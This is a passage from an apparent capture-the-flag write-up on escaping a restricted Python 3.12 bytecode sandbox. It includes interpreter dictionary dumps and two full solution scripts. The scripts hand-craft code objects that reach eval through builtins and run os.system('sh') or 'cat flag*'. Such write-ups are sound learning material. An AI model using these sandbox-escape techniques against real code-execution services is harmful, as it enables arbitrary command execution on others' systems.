function\nsetdlopenflags() -- set the flags to be used for dlopen() calls\nsetprofile() -- set the global profiling function\nsetrecursionlimit() -- set the max recursion depth for the interpreter\nsettrace() -- set the global debug tracing function\n", '__package__': None, '__loader__': None, '__spec__': None, 'addaudithook': <built-in function addaudithook>, 'audit': <built-in function audit>, 'breakpointhook': <built-in function breakpointhook>, '_clear_type_cache': <built-in function _clear_type_cache>, '_current_frames': <built-in function _current_frames>, '_current_exceptions': <built-in function _current_exceptions>, 'displayhook': <built-in function displayhook>, 'exception': <built-in function exception>, 'exc_info': <built-in function exc_info>, 'excepthook': <built-in function excepthook>, 'exit': <built-in function exit>, 'getdefaultencoding': <built-in function getdefaultencoding>, 'getdlopenflags': <built-in function getdlopenflags>, 'getallocatedblocks': <built-in function getallocatedblocks>, 'getunicodeinternedsize': <built-in function getunicodeinternedsize>, 'getfilesystemencoding': <built-in function getfilesystemencoding>, 'getfilesystemencodeerrors': <built-in function getfilesystemencodeerrors>, 'getrefcount': <built-in function getrefcount>, 'getrecursionlimit': <built-in function getrecursionlimit>, 'getsizeof': <built-in function getsizeof>, '_getframe': <built-in function _getframe>, '_getframemodulename': <built-in function _getframemodulename>, 'intern': <built-in function intern>, 'is_finalizing': <built-in function is_finalizing>, 'setswitchinterval': <built-in function setswitchinterval>, 'getswitchinterval': <built-in function getswitchinterval>, 'setdlopenflags': <built-in function setdlopenflags>, 'setprofile': <built-in function setprofile>, '_setprofileallthreads': <built-in function _setprofileallthreads>, 'getprofile': <built-in function getprofile>, 'setrecursionlimit': <built-in function setrecursionlimit>, 'settrace': <built-in function settrace>, '_settraceallthreads': <built-in function _settraceallthreads>, 'gettrace': <built-in function gettrace>, 'call_tracing': <built-in function call_tracing>, '_debugmallocstats': <built-in function _debugmallocstats>, 'set_coroutine_origin_tracking_depth': <built-in function set_coroutine_origin_tracking_depth>, 'get_coroutine_origin_tracking_depth': <built-in function get_coroutine_origin_tracking_depth>, 'set_asyncgen_hooks': <built-in function set_asyncgen_hooks>, 'get_asyncgen_hooks': <built-in function get_asyncgen_hooks>, 'activate_stack_trampoline': <built-in function activate_stack_trampoline>, 'deactivate_stack_trampoline': <built-in function deactivate_stack_trampoline>, 'is_stack_trampoline_active': <built-in function is_stack_trampoline_active>, 'unraisablehook': <built-in function unraisablehook>, 'get_int_max_str_digits': <built-in function get_int_max_str_digits>, 'set_int_max_str_digits': <built-in function set_int_max_str_digits>}
227: {'__name__': 'builtins', '__doc__': "Built-in functions, types, exceptions, and other objects.\n\nThis module provides direct access to all 'built-in'\nidentifiers of Python; for example, builtins.len is\nthe full name for the built-in function len().\n\nThis module is not normally accessed explicitly by most\napplications, but can be useful in modules that provide\nobjects with the same name as a built-in value, but in\nwhich the built-in of that name is also needed.", '__package__': None, '__loader__': None, '__spec__': None, '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'aiter': <built-in function aiter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'anext': <built-in function anext>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'BaseExceptionGroup': <class 'BaseExceptionGroup'>, 'Exception': <class 'Exception'>, 'GeneratorExit': <class 'GeneratorExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'SystemExit': <class 'SystemExit'>, 'ArithmeticError': <class 'ArithmeticError'>, 'AssertionError': <class 'AssertionError'>, 'AttributeError': <class 'AttributeError'>, 'BufferError': <class 'BufferError'>, 'EOFError': <class 'EOFError'>, 'ImportError': <class 'ImportError'>, 'LookupError': <class 'LookupError'>, 'MemoryError': <class 'MemoryError'>, 'NameError': <class 'NameError'>, 'OSError': <class 'OSError'>, 'ReferenceError': <class 'ReferenceError'>, 'RuntimeError': <class 'RuntimeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'SyntaxError': <class 'SyntaxError'>, 'SystemError': <class 'SystemError'>, 'TypeError': <class 'TypeError'>, 'ValueError': <class 'ValueError'>, 'Warning': <class 'Warning'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'BytesWarning': <class 'BytesWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'UserWarning': <class 'UserWarning'>, 'BlockingIOError': <class 'BlockingIOError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionError': <class 'ConnectionError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'InterruptedError': <class 'InterruptedError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'IndentationError': <class 'IndentationError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'RecursionError': <class 'RecursionError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'UnicodeError': <class 'UnicodeError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'TabError': <class 'TabError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'ExceptionGroup': <class 'ExceptionGroup'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>}
497: [('default', None, <class 'DeprecationWarning'>, '__main__', 0), ('ignore', None, <class 'DeprecationWarning'>, None, 0), ('ignore', None, <class 'PendingDeprecationWarning'>, None, 0), ('ignore', None, <class 'ImportWarning'>, None, 0), ('ignore', None, <class 'ResourceWarning'>, None, 0)]
499: default
"""
It shows that 227 is builtins.__dict__
. Using functions from my previous 0ctf 2021 - pypypypy writeup, modified for 3.12, I was able to solve it.
from base64 import b64decode, b64encode
from marshal import loads, dumps
from types import FunctionType, CodeType
import dis
NMAX = 10000
def validator(c):
if len(c.co_names) != 0:
return False
if len(c.co_consts) != 0:
return False
if len(c.co_cellvars) != 0:
return False
if len(c.co_freevars) != 0:
return False
if len(c.co_varnames) != 0:
return False
return True
def dummy():
pass
def assemble(ops):
cache = bytes([dis.opmap["CACHE"], 0])
ret = b""
for op, arg in ops:
opc = dis.opmap[op]
ret += bytes([opc, arg])
ret += cache * dis._inline_cache_entries[opc]
return ret
binop = {sym: i for i, (_, sym) in enumerate(dis._nb_ops)}
def gen_num_op(n):
# push number n into stack
one = [("BUILD_TUPLE", 0), ("UNARY_NOT", 0)]
if n == 1:
return one
half = gen_num_op(n // 2)
ret = half + [("COPY", 1), ("BINARY_OP", binop["+"])]
if n % 2 == 1:
ret += one + [("BINARY_OP", binop["+"])]
return ret
def gen_c():
return [
("BUILD_TUPLE", 0),
("BUILD_TUPLE", 0),
("BUILD_SLICE", 2),
("FORMAT_VALUE", 0),
# ['slice((), (), None)']
("BUILD_TUPLE", 0),
("UNARY_NOT", 0),
("COPY", 1),
("COPY", 1),
("BINARY_OP", binop["+"]),
("BINARY_OP", binop["+"]),
# ['slice((), (), None)', 3]
("BINARY_SUBSCR", 0),
# ['c']
]
def gen_str(s):
# assuming stack top is 'c'
assert len(s) > 0
if len(s) == 1:
return [
*gen_num_op(ord(s[0])),
("SWAP", 2),
("FORMAT_VALUE", 4),
]
return [
("COPY", 1),
*gen_str(s[:-1]),
# ['c', s[:-1]]
("SWAP", 2),
*gen_num_op(ord(s[-1])),
("SWAP", 2),
("FORMAT_VALUE", 4),
# [s[:-1], s[-1]]
("BUILD_STRING", 2),
]
co_code = assemble(
[
("RESUME", 0),
("PUSH_NULL", 0),
("LOAD_CONST", 227),
*gen_c(),
*gen_str("eval"),
# [null, builtins.__dict__, 'eval']
("BINARY_SUBSCR", 0),
# [null, builtins.eval]
*gen_c(),
*gen_str("__import__('os').system('sh')"),
("LOAD_CONST", 227),
# [null, builtins.eval, PAYLOAD, builtins.__dict__]
("CALL", 2),
("RETURN_VALUE", 0),
]
)
print(dis.dis(co_code, show_caches=True))
"""
class CodeType(
__argcount: int,
__posonlyargcount: int,
__kwonlyargcount: int,
__nlocals: int,
__stacksize: int,
__flags: int,
__codestring: bytes,
__constants: tuple[object, ...],
__names: tuple[str, ...],
__varnames: tuple[str, ...],
__filename: str,
__name: str,
__qualname: str,
__firstlineno: int,
__linetable: bytes,
__exceptiontable: bytes,
__freevars: tuple[str, ...] = ...,
__cellvars: tuple[str, ...] = ...,
/
)
"""
code = CodeType(
0, # co_argcount
0, # co_posonlyargcount
0, # co_kwonlyargcount
0, # co_nlocals
0, # co_stacksize
3, # co_flags
co_code, # co_code
(), # co_consts
(), # co_names
(), # co_varnames
"hello", # co_filename
"hello", # co_name
"hello", # co_qualname
0, # co_firstlineno
b"", # co_lnotab
b"", # co_lnotab
(), # co_freevars
(), # co_cellvars
)
def main(code):
global __builtins__
for key in ["eval", "exec", "__import__", "open"]:
del __builtins__.__dict__[key]
if not validator(code):
print("invalid code")
exit(-1)
dummy.__code__ = code
print(dummy())
# main(code)
print(b64encode(dumps(code)).decode())
# TSGCTF{our_caffeine_knight_slays_python_bytes}
I also looked at other solutions, such as (@Satoooon)[https://discord.com/channels/546339917459095552/1165469713720152124/1170639277076516925], which used this method:
from opcode import opmap, cmp_op, _nb_ops
import dis
import types
import os
import sys
import marshal
from base64 import b64encode, b64decode
code = b""
code += bytes([opmap["LOAD_FAST"], 18]) # "src" variable
code += bytes([opmap["LOAD_FAST"], 51]) # exec function
code += bytes([opmap["LOAD_FAST"], 18]) # "src" variable
code += bytes([opmap["CALL"], 0]) + bytes([0] * 6) # I don't know why this works well
code += bytes([opmap["RETURN_VALUE"], 0])
# print(code, file=sys.stderr)
codeobj = types.CodeType(0, 0, 0, 0, 0, 0, code, (), (), (), '', '', '', 0, b'', b'', (), ())
encoded = b64encode(marshal.dumps(codeobj)).decode()
for i in range(4):
try:
code = "\"" + encoded + "\";print(__loader__.exec_module.__globals__['sys'].modules['os'].system('cat flag*'));#" + "A" * i
b64decode(code.encode())
except Exception as e:
print(e)
continue
print(code)
# "4wAAAAAAAAAAAAAAAAAAAAAAAAAA8xAAAAB8EnwzfBKrAAAAAAAAAAAAqQByAgAAAHICAAAA8wAAAADaAHIEAAAAcgQAAAAAAAAAcgMAAAByAwAAAA==";print(__loader__.exec_module.__globals__['sys'].modules['os'].system('cat flag*'));#
The LOAD_FAST 18
cannot be found using my offset script as it requires the exact environment, meaning it must be piped to the challenge script. The method uses b64decode
's feature of ignoring non-base64 characters to create a base64/python polyglot. This shows that marshal data can have arbitrary trailing data without errors.
Another solution by lebr0nli can be found here, similar to mine but using bytecode to manipulate builtins.__dict__
without creating strings, etc.